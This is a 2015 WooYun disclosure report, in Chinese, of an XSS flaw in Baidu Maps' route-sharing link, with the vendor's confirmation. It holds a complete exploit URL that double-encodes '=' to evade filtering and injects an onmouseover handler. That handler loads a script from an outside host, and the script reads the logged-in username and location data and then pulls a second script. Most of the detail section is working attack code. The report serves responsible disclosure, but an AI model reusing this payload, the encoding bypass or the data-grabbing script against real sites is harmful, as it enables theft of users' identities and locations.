当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0105120

漏洞标题:百度地图XSS漏洞获取用户信息

相关厂商:百度

漏洞作者: q601333824

提交时间:2015-04-01 08:39

修复时间:2015-05-16 10:32

公开时间:2015-05-16 10:32

漏洞类型:xss跨站脚本攻击

危害等级:低

自评Rank:3

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-01: 细节已通知厂商并且等待厂商处理中
2015-04-01: 厂商已经确认,细节仅向厂商公开
2015-04-11: 细节向核心白帽子及相关领域专家公开
2015-04-21: 细节向普通白帽子公开
2015-05-01: 细节向实习白帽子公开
2015-05-16: 细节向公众公开

简要描述:

其实和以前差不多,可以获取用户ID对应的城市

详细说明:


1.存在XSS的地方是驾车,左边那一栏,如图

QQ截图20150401012406.png


2.先获取存在的地点的坐标,然后点击分享,因为没有坐标和有坐标显示的页面是两个,一个没有XSS的页面,一个是有XSS的页面,如图
(1).没有获取过坐标的页面,这个页面是没有XSS漏洞(其实有,但是长度限制不能用)

1.png


(2).获取过坐标的页面,这个页面是有XSS漏洞的

3.png


3.这个地方不能等于号,存在=等于号,就清空,所以编码两次就不会清空

= → %3d →%253d



4,最终连接,可以访问这个看效果:

http://map.baidu.com/?newmap=1&shareurl=1&l=15&tn=B_NORMAL_MAP&c=13376525,3516402&s=nav%26navtp%3D2%26c%3D179%26drag%3D1%26sc%3D1474%26ec%3D179%26sy%3D0%26sn%3D1%24%24%24%2413373703.87%2C3516061.29%24%24%E8%A5%BF%E6%B9%96%E5%8C%BA96315%22onmouseover%253d%22var%20e%253ddocument.createElement(%27script%27);e.setAttribute(%27src%27,%27http://fripside.sinaapp.com/aaaaaa.js%27);document.body.appendChild(e)%22style%253d%22font-size:999px;cursor:%20default%20!important;%22%24%24%24%24%24%2413373703.87%2C3516061.29%24%24%26en%3D1%24%24%24%2413379316.71%2C3516511.49%24%24%E5%8F%8C%E7%89%9B%E5%A4%A7%E5%8E%A6%24%24%24%24%24%2413379316.71%2C3516511.49%24%24


----------------------------------------------------------------------------------
5.自己弄了两端代码,一段是获取用户ID和地点,另一段是转换下编码

(1)这段获取用户ID和地点

http://fripside.sinaapp.com/aaaaaa.js


var d= document.getElementById("username");
if(d==null){
alert(/你没有登录百度帐号,无法获取用户名/)
var username="无法获取用户名";
var b=wenben();
var test=dizhihuoqu(b);
}else{
var username=d.innerHTML;
var b=wenben();
var test=dizhihuoqu(b);
}
function wenben(){
var a=window._OLR;
var b="";
for(i in a){
b=b+a[i]
}

return b;
}
function dizhihuoqu(c){
var d=c;
var t = /cname":"[^",]+",/g;
var test = d.match(t)
for(var i=0,len=test.length;i<len;i++){
test[i] = test[i].replace('cname":"',"").replace('",',"");
}
return test;
}
function Phish(){info ="用户ID:"+username+"<p>获取到的所在地:<span id='333'>"+test+"</span><p><textarea rows='100'cols='150'>"+b+"</textarea><script src='http://fripside.sinaapp.com/ccc.js'></script>";document.write(info);}
function doit(){setTimeout("Phish()", 1000 );}doit()


(2)这段是转换编码用的

http://fripside.sinaapp.com/ccc.js


var wuyun= document.getElementById("333");
var fffff= wuyun.innerHTML;
function aaa(csol) {
return unescape(csol.replace(/\\u/gi, '%u'));
}
var csol =fffff
var sssssss = aaa(csol);
wuyun.innerHTML=sssssss;


--------------------------------------------------------------------------
最终效果图:

(1)用样式把XSS点放大

4444.png


(2)获取用户ID和城市 (我ID没登录)

5555.png


漏洞证明:

(1).图片见上面
(2).最终连接,可以访问这个看效果

http://map.baidu.com/?newmap=1&shareurl=1&l=15&tn=B_NORMAL_MAP&c=13376525,3516402&s=nav%26navtp%3D2%26c%3D179%26drag%3D1%26sc%3D1474%26ec%3D179%26sy%3D0%26sn%3D1%24%24%24%2413373703.87%2C3516061.29%24%24%E8%A5%BF%E6%B9%96%E5%8C%BA96315%22onmouseover%253d%22var%20e%253ddocument.createElement(%27script%27);e.setAttribute(%27src%27,%27http://fripside.sinaapp.com/aaaaaa.js%27);document.body.appendChild(e)%22style%253d%22font-size:999px;cursor:%20default%20!important;%22%24%24%24%24%24%2413373703.87%2C3516061.29%24%24%26en%3D1%24%24%24%2413379316.71%2C3516511.49%24%24%E5%8F%8C%E7%89%9B%E5%A4%A7%E5%8E%A6%24%24%24%24%24%2413379316.71%2C3516511.49%24%24

修复方案:

按照步骤流程下来,自己的感觉的就是,应该是,输入的时候过滤,但是输出的没过滤

版权声明:转载请注明来源 q601333824@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:5

确认时间:2015-04-01 10:31

厂商回复:

感谢关注,已提交相关部门

最新状态:

暂无